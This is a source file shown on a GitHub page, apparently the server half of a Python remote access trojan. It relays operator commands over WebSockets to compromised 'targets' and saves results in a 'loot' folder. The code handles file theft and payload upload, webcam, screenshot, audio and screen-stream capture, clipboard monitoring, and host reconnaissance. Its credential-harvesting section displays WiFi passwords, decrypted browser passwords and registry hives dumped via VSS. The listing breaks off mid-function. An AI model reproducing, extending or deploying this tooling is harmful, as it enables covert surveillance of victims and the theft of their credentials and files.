-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathpyrev_server.py
More file actions
1615 lines (1334 loc) · 99.3 KB
/
pyrev_server.py
File metadata and controls
1615 lines (1334 loc) · 99.3 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
import asyncio
import ssl
import websockets
import json
import hashlib
import secrets
import argparse
import sys
import base64
import os
import time
from pathlib import Path
CREDS_FILE = "credentials.json"
LOOT_DIR = "loot"
PAYLOADS_DIR = "payloads"
targets = {}
active_relays = {} # Stores active relay tasks by target_id
def ensure_directories():
"""Creates the loot and payloads directories if they do not exist"""
Path(LOOT_DIR).mkdir(exist_ok=True)
Path(PAYLOADS_DIR).mkdir(exist_ok=True)
print(f"[+] Directories ready: {LOOT_DIR}/, {PAYLOADS_DIR}/")
def hash_password(password: str, salt: bytes = None) -> tuple:
"""Hashing a password using PBKDF2-SHA256"""
if salt is None:
salt = secrets.token_bytes(32)
key = hashlib.pbkdf2_hmac(
'sha256',
password.encode('utf-8'),
salt,
100000
)
return key.hex(), salt.hex()
def verify_password(password: str, stored_hash: str, salt: str) -> bool:
"""Check a password against its hash"""
try:
key, _ = hash_password(password, bytes.fromhex(salt))
return secrets.compare_digest(key, stored_hash)
except Exception:
return False
def load_credentials() -> dict:
"""Load credentials from the JSON file"""
if not Path(CREDS_FILE).exists():
return {}
try:
with open(CREDS_FILE, 'r') as f:
return json.load(f)
except Exception as e:
print(f"[ERROR] Failed to load credentials: {e}")
return {}
def save_credentials(creds: dict):
"""Save the credentials to the JSON file"""
try:
with open(CREDS_FILE, 'w') as f:
json.dump(creds, f, indent=2)
print(f"[+] Credentials saved to {CREDS_FILE}")
except Exception as e:
print(f"[ERROR] Failed to save credentials: {e}")
sys.exit(1)
def add_credential(role: str, login: str, password: str):
"""Add or update a credential"""
creds = load_credentials()
if role not in creds:
creds[role] = {}
pwd_hash, salt = hash_password(password)
creds[role][login] = {
"hash": pwd_hash,
"salt": salt
}
save_credentials(creds)
print(f"[+] Added/Updated {role}: {login}")
async def authenticate(role: str, credentials: str) -> tuple:
"""
Authenticates a client using the login::password format
Return (success: bool, login: str)
"""
try:
if "::" not in credentials:
return False, None
login, password = credentials.split("::", 1)
creds = load_credentials()
if role not in creds or login not in creds[role]:
await asyncio.sleep(0.1)
return False, None
stored = creds[role][login]
if verify_password(password, stored["hash"], stored["salt"]):
return True, login
else:
await asyncio.sleep(0.1)
return False, None
except Exception as e:
print(f"[AUTH ERROR] {e}")
return False, None
async def relay(ws_from, ws_to, name):
"""Relays messages between two WebSockets"""
try:
async for message in ws_from:
await ws_to.send(message)
except websockets.exceptions.ConnectionClosed:
print(f"[INFO] {name} relay closed")
except Exception as e:
print(f"[RELAY ERROR {name}] {e}")
async def handler(websocket):
client_addr = websocket.remote_address
try:
# 1. Receive the identification message
msg = await asyncio.wait_for(websocket.recv(), timeout=10.0)
if ":" not in msg:
await websocket.send("Invalid format. Expected: role:id::login::password")
return
parts = msg.split(":", 1)
if len(parts) != 2:
await websocket.send("Invalid format")
return
role = parts[0]
remainder = parts[1]
if "::" not in remainder:
await websocket.send("Invalid format. Missing credentials (::login::password)")
return
client_id, credentials = remainder.split("::", 1)
# 2. Authentication
authenticated, login = await authenticate(role, credentials)
if not authenticated:
await websocket.send("Authentication failed")
print(f"[!] Failed auth attempt from {client_addr} (role={role}, id={client_id})")
return
print(f"[+] Authenticated: {role}/{client_id} as {login}")
# 3. Role-based logic
if role == "target":
print(f"[+] Target {client_id} ({login}) connected from {client_addr}")
if client_id in targets:
print(f"[WARNING] Replacing existing target {client_id}")
targets[client_id] = websocket
await websocket.send("Authentication successful. Waiting for commands...")
try:
await websocket.wait_closed()
finally:
targets.pop(client_id, None)
print(f"[-] Target {client_id} ({login}) disconnected")
elif role == "operator":
print(f"[+] Operator {client_id} ({login}) connected from {client_addr}")
# Send the list of connected targets
if targets:
target_list = list(targets.keys())
# Format: TARGET_LIST:target1,target2,target3
targets_msg = "TARGET_LIST:" + ",".join(target_list)
await websocket.send(targets_msg)
else:
await websocket.send("TARGET_LIST:") # Empty list
# Get the target's ID (which can be a number or a name)
target_id = await asyncio.wait_for(websocket.recv(), timeout=30.0)
print(f"[DEBUG] Operator {login} requested target: {target_id}")
if target_id not in targets:
await websocket.send(f"Target '{target_id}' not found. Available: {list(targets.keys())}")
return
target_ws = targets[target_id]
await websocket.send(f"Connected to target '{target_id}'")
# Cancel any existing old relays
if target_id in active_relays:
print(f"[INFO] Cleaning up old relays for {target_id}")
for task in active_relays[target_id]:
task.cancel()
try:
await asyncio.gather(*active_relays[target_id], return_exceptions=True)
except:
pass
active_relays[target_id] = []
# Dictionary for storing the expected responses to FILE_ commands
pending_file_responses = {}
# Bidirectional relay with FILE_ command interception
async def relay_operator_to_target(ws_from, ws_to, name):
"""Relay operator → target with FILE_ interception"""
try:
async for message in ws_from:
if message.startswith("FILE_DOWNLOAD:"):
# Extract the filename
filename = message.split(":", 1)[1]
# Generate a unique ID for this request
request_id = f"dl_{id(message)}"
# Create an event to wait for a response
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None,
'filename': filename
}
# Send the DOWNLOAD command to the target
await ws_to.send(f"DOWNLOAD:{filename}")
print(f"[FILE] Requesting {filename} from {target_id}")
# Wait for the response (to be filled in by the other relay)
try:
await asyncio.wait_for(response_event.wait(), timeout=60.0)
response = pending_file_responses[request_id]['response']
# Process the response
if response.startswith("FILE_DATA:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, recv_filename, b64_data = parts
import base64
from pathlib import Path
file_data = base64.b64decode(b64_data)
safe_filename = f"{target_id}_{recv_filename}"
filepath = Path(LOOT_DIR) / safe_filename
with open(filepath, 'wb') as f:
f.write(file_data)
size_kb = len(file_data) / 1024
print(f"[FILE] Downloaded {recv_filename} ({size_kb:.2f} KB) from {target_id} → {filepath}")
await ws_from.send(f"[✓] Downloaded {recv_filename} ({size_kb:.2f} KB) → {filepath}")
else:
await ws_from.send(f"[✗] Invalid file data format")
elif response.startswith("FILE_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[FILE] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout waiting for file")
finally:
pending_file_responses.pop(request_id, None)
elif message.startswith("FILE_UPLOAD:"):
# Upload file
filename = message.split(":", 1)[1]
from pathlib import Path
filepath = Path(PAYLOADS_DIR) / filename
if not filepath.exists():
await ws_from.send(f"[✗] File not found: {filepath}")
print(f"[FILE] File not found: {filepath}")
continue
import base64
with open(filepath, 'rb') as f:
file_data = f.read()
b64_data = base64.b64encode(file_data).decode('utf-8')
size_kb = len(file_data) / 1024
# Create an event to wait for confirmation
request_id = f"ul_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send(f"UPLOAD:{filename}:{b64_data}")
print(f"[FILE] Uploading {filename} ({size_kb:.2f} KB) to {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=60.0)
response = pending_file_responses[request_id]['response']
if response.startswith("FILE_OK:"):
msg = response.split(":", 1)[1]
print(f"[FILE] Upload successful: {msg}")
await ws_from.send(f"[✓] {msg}")
elif response.startswith("FILE_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[FILE] Upload failed: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout waiting for confirmation")
finally:
pending_file_responses.pop(request_id, None)
elif message == "FILE_LIST_LOOT":
from pathlib import Path
files = list(Path(LOOT_DIR).iterdir())
if files:
file_list = "\n".join([f" - {f.name} ({f.stat().st_size / 1024:.2f} KB)" for f in files])
await ws_from.send(f"Files in {LOOT_DIR}/:\n{file_list}")
else:
await ws_from.send(f"{LOOT_DIR}/ is empty")
elif message == "FILE_LIST_PAYLOADS":
from pathlib import Path
files = list(Path(PAYLOADS_DIR).iterdir())
if files:
file_list = "\n".join([f" - {f.name} ({f.stat().st_size / 1024:.2f} KB)" for f in files])
await ws_from.send(f"Files in {PAYLOADS_DIR}/:\n{file_list}")
else:
await ws_from.send(f"{PAYLOADS_DIR}/ is empty")
elif message == "FILE_LIST_DOWNLOADS":
# Request target to list its downloads directory
request_id = f"ls_downloads_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send("LIST_DOWNLOADS")
print(f"[FILE] Requesting downloads list from {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=10.0)
response = pending_file_responses[request_id]['response']
# Strip the response type prefix
if response.startswith("LIST_DOWNLOADS_OK:"):
message_text = response.split(":", 1)[1]
await ws_from.send(message_text)
elif response.startswith("LIST_DOWNLOADS_ERROR:"):
error_msg = response.split(":", 1)[1]
await ws_from.send(f"[✗] {error_msg}")
else:
await ws_from.send(response)
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout listing downloads")
finally:
pending_file_responses.pop(request_id, None)
elif message == "WEBCAM_CAPTURE":
# Webcam capture
request_id = f"webcam_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send("WEBCAM_CAPTURE")
print(f"[WEBCAM] Requesting capture from {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=30.0)
response = pending_file_responses[request_id]['response']
if response.startswith("WEBCAM_DATA:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, recv_filename, b64_data = parts
import base64
from pathlib import Path
from datetime import datetime
image_data = base64.b64decode(b64_data)
# Generate unique filename
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
safe_filename = f"{target_id}_webcam_{timestamp}.jpg"
filepath = Path(LOOT_DIR) / safe_filename
with open(filepath, 'wb') as f:
f.write(image_data)
size_kb = len(image_data) / 1024
print(f"[WEBCAM] Captured from {target_id} ({size_kb:.2f} KB) → {filepath}")
await ws_from.send(f"[✓] Webcam captured ({size_kb:.2f} KB) → {filepath}")
else:
await ws_from.send(f"[✗] Invalid webcam data format")
elif response.startswith("WEBCAM_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[WEBCAM] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout waiting for webcam capture")
finally:
pending_file_responses.pop(request_id, None)
elif message == "SCREENSHOT":
# Screenshot capture
request_id = f"screenshot_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send("SCREENSHOT")
print(f"[SCREENSHOT] Requesting capture from {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=30.0)
response = pending_file_responses[request_id]['response']
if response.startswith("SCREENSHOT_DATA:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, recv_filename, b64_data = parts
import base64
from pathlib import Path
from datetime import datetime
image_data = base64.b64decode(b64_data)
# Generate unique filename
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
safe_filename = f"{target_id}_screenshot_{timestamp}.png"
filepath = Path(LOOT_DIR) / safe_filename
with open(filepath, 'wb') as f:
f.write(image_data)
size_kb = len(image_data) / 1024
print(f"[SCREENSHOT] Captured from {target_id} ({size_kb:.2f} KB) → {filepath}")
await ws_from.send(f"[✓] Screenshot captured ({size_kb:.2f} KB) → {filepath}")
else:
await ws_from.send(f"[✗] Invalid screenshot data format")
elif response.startswith("SCREENSHOT_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[SCREENSHOT] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout waiting for screenshot")
finally:
pending_file_responses.pop(request_id, None)
elif message == "STREAM_START":
# Start desktop streaming
await ws_to.send("STREAM_START")
print(f"[STREAM] Starting stream from {target_id}")
await ws_from.send(f"[*] Desktop stream started from {target_id}")
elif message == "STREAM_STOP":
# Stop desktop streaming
await ws_to.send("STREAM_STOP")
print(f"[STREAM] Stopping stream from {target_id}")
await ws_from.send(f"[*] Desktop stream stopped")
elif message.startswith("AUDIO_RECORD:"):
# Audio recording
duration = message.split(":", 1)[1]
request_id = f"audio_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send(f"AUDIO_RECORD:{duration}")
print(f"[AUDIO] Requesting {duration}s recording from {target_id}")
try:
# Longer timeout for audio recording (duration + 30s buffer)
timeout = int(duration) + 30
await asyncio.wait_for(response_event.wait(), timeout=timeout)
response = pending_file_responses[request_id]['response']
if response.startswith("AUDIO_DATA:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, recv_filename, b64_data = parts
import base64
from pathlib import Path
from datetime import datetime
audio_data = base64.b64decode(b64_data)
# Generate unique filename
timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
safe_filename = f"{target_id}_audio_{timestamp}.wav"
filepath = Path(LOOT_DIR) / safe_filename
with open(filepath, 'wb') as f:
f.write(audio_data)
size_kb = len(audio_data) / 1024
print(f"[AUDIO] Recorded from {target_id} ({size_kb:.2f} KB) → {filepath}")
await ws_from.send(f"[✓] Audio recorded ({size_kb:.2f} KB) → {filepath}")
else:
await ws_from.send(f"[✗] Invalid audio data format")
elif response.startswith("AUDIO_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[AUDIO] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout waiting for audio recording")
finally:
pending_file_responses.pop(request_id, None)
elif message.startswith("SEARCH_FILES:"):
# Filename search
request_id = f"search_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
# Forward to target
await ws_to.send(message)
search_params = message.split(":", 1)[1]
print(f"[SEARCH] Searching on {target_id}: {search_params}")
try:
await asyncio.wait_for(response_event.wait(), timeout=120.0)
response = pending_file_responses[request_id]['response']
if response.startswith("SEARCH_RESULTS:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, count, results_json = parts
import json
results = json.loads(results_json)
print(f"[SEARCH] Found {count} results on {target_id}")
if int(count) == 0:
await ws_from.send(f"[!] No results found")
else:
num_results = len(results)
output = f"[✓] Found {count} results:\n"
for i, result in enumerate(results, 1):
if 'path' in result:
if 'line' in result:
output += f" {i}. {result['path']}:{result['line']}\n"
output += f" {result.get('content', '')}\n"
else:
size_kb = result.get('size', 0) / 1024
output += f" {i}. {result['path']} ({size_kb:.2f} KB)\n"
if int(count) > num_results:
output += f" ... and {int(count) - num_results} more results (increase --limit to see more)"
await ws_from.send(output)
else:
await ws_from.send(f"[✗] Invalid search results format")
elif response.startswith("SEARCH_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[SEARCH] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Search timeout")
finally:
pending_file_responses.pop(request_id, None)
# FIX: Added SEARCH_CONTENT handler (was missing — caused "Invalid search format")
elif message.startswith("SEARCH_CONTENT:"):
# Content search
request_id = f"search_content_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
# Forward to target as-is
await ws_to.send(message)
search_params = message.split(":", 1)[1]
print(f"[SEARCH] Content search on {target_id}: {search_params}")
try:
await asyncio.wait_for(response_event.wait(), timeout=120.0)
response = pending_file_responses[request_id]['response']
if response.startswith("SEARCH_RESULTS:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, count, results_json = parts
import json
results = json.loads(results_json)
print(f"[SEARCH] Found {count} content results on {target_id}")
if int(count) == 0:
await ws_from.send(f"[!] No results found")
else:
num_results = len(results)
output = f"[✓] Found {count} results:\n"
for i, result in enumerate(results, 1):
if 'path' in result:
if 'line' in result:
output += f" {i}. {result['path']}:{result['line']}\n"
output += f" {result.get('content', '')}\n"
else:
size_kb = result.get('size', 0) / 1024
output += f" {i}. {result['path']} ({size_kb:.2f} KB)\n"
if int(count) > num_results:
output += f" ... and {int(count) - num_results} more results (increase --limit to see more)"
await ws_from.send(output)
else:
await ws_from.send(f"[✗] Invalid search results format")
elif response.startswith("SEARCH_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[SEARCH] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Search timeout")
finally:
pending_file_responses.pop(request_id, None)
elif message == "SYSINFO_GATHER":
# System information
request_id = f"sysinfo_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send("SYSINFO_GATHER")
print(f"[SYSINFO] Gathering from {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=30.0)
response = pending_file_responses[request_id]['response']
if response.startswith("SYSINFO_DATA:"):
info_json = response.split(":", 1)[1]
import json
info = json.loads(info_json)
print(f"[SYSINFO] Received from {target_id}")
# Format output
output = f"[✓] System Information - {target_id}\n\n"
# SYSTEM
if 'system' in info:
output += "═══ SYSTEM ═══\n"
for key, val in info['system'].items():
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# USER
if 'user' in info:
output += "═══ CURRENT USER ═══\n"
for key, val in info['user'].items():
if key == 'is_admin':
output += f"Administrator/Root: {'YES' if val else 'NO'}\n"
elif key == 'groups':
output += f"Groups: {', '.join(val) if isinstance(val, list) else val}\n"
else:
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# ALL USERS
if 'users' in info and info['users']:
output += "═══ ALL USERS ═══\n"
if 'count' in info['users']:
output += f"Total: {info['users']['count']}\n"
if 'local_users' in info['users']:
users = info['users']['local_users']
if isinstance(users, list):
if len(users) > 0:
for i, user in enumerate(users[:15], 1): # Show max 15
if isinstance(user, dict):
output += f" {i}. {user.get('name', 'unknown')} (UID: {user.get('uid', '?')}, Shell: {user.get('shell', '?')})\n"
else:
output += f" {i}. {user}\n"
if len(users) > 15:
output += f" ... and {len(users) - 15} more\n"
output += "\n"
# NETWORK
if 'network' in info:
output += "═══ NETWORK ═══\n"
for key, val in info['network'].items():
if key == 'listening_ports':
output += f"Listening Ports ({info['network'].get('listening_count', len(val))} total):\n"
for port in val[:10]:
output += f" - {port}\n"
else:
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# SECURITY
if 'security' in info and info['security']:
output += "═══ SECURITY ═══\n"
for key, val in info['security'].items():
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# PROCESSES
if 'processes' in info and info['processes']:
output += "═══ PROCESSES ═══\n"
if 'total' in info['processes']:
output += f"Total Running: {info['processes']['total']}\n"
if 'security_related' in info['processes']:
output += "Security-Related Processes:\n"
for proc in info['processes']['security_related']:
output += f" - {proc}\n"
output += "\n"
# SOFTWARE
if 'software' in info and info['software']:
output += "═══ INSTALLED SOFTWARE ═══\n"
for key, val in info['software'].items():
if key == 'detected':
output += "Detected Applications:\n"
for app in val:
output += f" - {app}\n"
else:
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# STORAGE
if 'storage' in info:
output += "═══ STORAGE ═══\n"
if isinstance(info['storage'], list):
for disk in info['storage']:
if 'drive' in disk:
output += f"{disk['drive']}: {disk.get('free_gb', 0)}GB free / {disk.get('total_gb', 0)}GB total\n"
elif 'mount' in disk:
output += f"{disk['mount']}: {disk.get('free_gb', 0)}GB free / {disk.get('total_gb', 0)}GB total\n"
elif isinstance(info['storage'], dict) and 'error' in info['storage']:
output += f"Error: {info['storage']['error']}\n"
output += "\n"
# DOMAIN
if 'domain' in info and info['domain']:
output += "═══ DOMAIN INFO ═══\n"
for key, val in info['domain'].items():
output += f"{key.replace('_', ' ').title()}: {val}\n"
output += "\n"
# VIRTUALIZATION
if 'virtualization' in info and info['virtualization']:
output += "═══ VIRTUALIZATION ═══\n"
if info['virtualization'].get('detected'):
output += f"VM Detected: YES ({info['virtualization'].get('type', 'Unknown')})\n"
else:
output += "VM Detected: NO (Physical machine or undetected)\n"
output += "\n"
# SCHEDULED TASKS
if 'scheduled_tasks' in info and info['scheduled_tasks']:
output += "═══ SCHEDULED TASKS ═══\n"
if 'count' in info['scheduled_tasks']:
output += f"User Tasks: {info['scheduled_tasks']['count']}\n"
if 'user_tasks' in info['scheduled_tasks']:
for task in info['scheduled_tasks']['user_tasks'][:5]:
output += f" - {task}\n"
if 'crontab' in info['scheduled_tasks']:
output += "Crontab Entries:\n"
for cron in info['scheduled_tasks']['crontab']:
output += f" - {cron}\n"
output += "\n"
await ws_from.send(output)
elif response.startswith("SYSINFO_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[SYSINFO] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout gathering system info")
finally:
pending_file_responses.pop(request_id, None)
elif message.startswith("CLIPBOARD:"):
# Clipboard operations
request_id = f"clipboard_{id(message)}"
response_event = asyncio.Event()
pending_file_responses[request_id] = {
'event': response_event,
'response': None
}
await ws_to.send(message)
action = message.split(":", 1)[1]
print(f"[CLIPBOARD] Operation on {target_id}")
try:
await asyncio.wait_for(response_event.wait(), timeout=10.0)
response = pending_file_responses[request_id]['response']
if response.startswith("CLIPBOARD_DATA:"):
import base64
b64_content = response.split(":", 1)[1]
content = base64.b64decode(b64_content).decode('utf-8')
print(f"[CLIPBOARD] Content from {target_id}: {content[:50]}...")
await ws_from.send(f"[✓] Clipboard content:\n{content}")
elif response.startswith("CLIPBOARD_OK:"):
msg = response.split(":", 1)[1]
print(f"[CLIPBOARD] {msg}")
await ws_from.send(f"[✓] {msg}")
elif response.startswith("CLIPBOARD_ERROR:"):
error_msg = response.split(":", 1)[1]
print(f"[CLIPBOARD] Error from {target_id}: {error_msg}")
await ws_from.send(f"[✗] {error_msg}")
except asyncio.TimeoutError:
await ws_from.send(f"[✗] Timeout accessing clipboard")
finally:
pending_file_responses.pop(request_id, None)
elif message.startswith("CLIPBOARD_MONITOR:"):
# Forward to target; the single confirmation comes back via
# CLIPBOARD_MONITOR_START (relay_target_to_operator).
# FIX: removed immediate ws_from.send() — it produced a second
# message in command_queue that poisoned the next command's response
await ws_to.send(message)
print(f"[CLIPBOARD_MONITOR] Forwarded to {target_id}")
# Handler CREDS
elif message.startswith("CREDS:"):
request_id = str(time.time())
pending_file_responses[request_id] = {
'event': asyncio.Event(),
'response': None
}
await ws_to.send(message)
try:
await asyncio.wait_for(
pending_file_responses[request_id]['event'].wait(),
timeout=60.0
)
response = pending_file_responses[request_id]['response']
if response.startswith("CREDS_DATA:"):
parts = response.split(":", 2)
if len(parts) == 3:
_, cred_type, json_data = parts
import json
data = json.loads(json_data)
print(f"[CREDS] Harvested {cred_type} from {target_id}")
output = f"[✓] Credential Harvesting - {cred_type.upper()}\n\n"
if cred_type == "wifi":
if 'wifi' in data and data['wifi']:
output += f"WiFi Networks ({data.get('wifi_count', 0)} found):\n"
for wifi in data['wifi']:
output += f" SSID: {wifi['ssid']}\n"
output += f" Password: {wifi['password']}\n\n"
elif 'wifi_error' in data:
output += f"Error: {data['wifi_error']}\n"
else:
output += "No WiFi credentials found\n"
elif cred_type == "browsers":
if 'browsers' in data:
for browser, info in data['browsers'].items():
output += f"{browser.upper()}:\n"
if info.get('found'):
output += f" Found: Yes\n"
output += f" Count: {info.get('count', 'Unknown')}\n"
output += f" Location: {info.get('location', 'N/A')}\n"
else:
output += f" Found: No\n"
output += "\n"
output += "Note: Actual password decryption requires additional tools\n"
else:
output += "No browser data found\n"
elif cred_type == "applications":
if 'applications' in data:
for app, info in data['applications'].items():
output += f"{app.upper()}:\n"
if info.get('found'):
output += f" Found: Yes\n"
if 'credentials' in info:
for cred in info['credentials']:
output += f" - {cred}\n"
if 'sessions' in info:
output += f" Sessions: {', '.join(info['sessions'])}\n"
if 'location' in info:
output += f" Location: {info['location']}\n"
if 'note' in info:
output += f" Note: {info['note']}\n"
else:
output += f" Found: No\n"
output += "\n"
else:
output += "No application credentials found\n"
elif cred_type in ["edge_decrypt", "chrome_decrypt"]:
browser_name = data.get('browser', cred_type.replace('_decrypt', '')).upper()
if 'error' in data:
output += f"Error: {data['error']}\n"
if 'note' in data:
output += f"Note: {data['note']}\n"
if 'path' in data:
output += f"Path checked: {data['path']}\n"
else:
output += f"Browser: {browser_name}\n"
output += f"Total Passwords: {data.get('total', 0)}\n"
output += f" - Decrypted (v10/v11): {data.get('v10_v11_count', 0)}\n"
output += f" - App-Bound (v20): {data.get('v20_count', 0)}\n\n"
if data.get('v20_detected'):
output += "⚠️ " + data.get('v20_note', '') + "\n\n"
if data.get('passwords'):
output += "="*60 + "\n"
output += "PASSWORDS\n"
output += "="*60 + "\n\n"
for i, pwd in enumerate(data['passwords'], 1):
output += f"[{i}] {pwd['url']}\n"
output += f" Username: {pwd['username']}\n"
output += f" Password: {pwd['password']}\n"
if pwd.get('version'):
output += f" Version: {pwd['version']}\n"
output += "\n"
if data.get('v20_export_help'):
output += "="*60 + "\n"
output += "v20 PASSWORD EXPORT INSTRUCTIONS\n"
output += "="*60 + "\n"
output += data['v20_export_help']
elif cred_type == "registry_dump_vss":
if 'error' in data:
output += f"Error: {data['error']}\n"
if 'note' in data:
output += f"Note: {data['note']}\n"
elif data.get('success'):
output += "╔════════════════════════════════════════════════════╗\n"
output += "║ REGISTRY HIVES DUMPED VIA VSS ║\n"
output += "╚════════════════════════════════════════════════════╝\n\n"
output += f"Method: {data.get('method', 'VSS')}\n"
output += f"Hives Dumped: {', '.join(data.get('hives_dumped', []))}\n"
output += f"Total Hives: {data.get('hive_count', 0)}/3\n\n"
if data.get('errors'):
output += "Errors:\n"
for error in data['errors']:
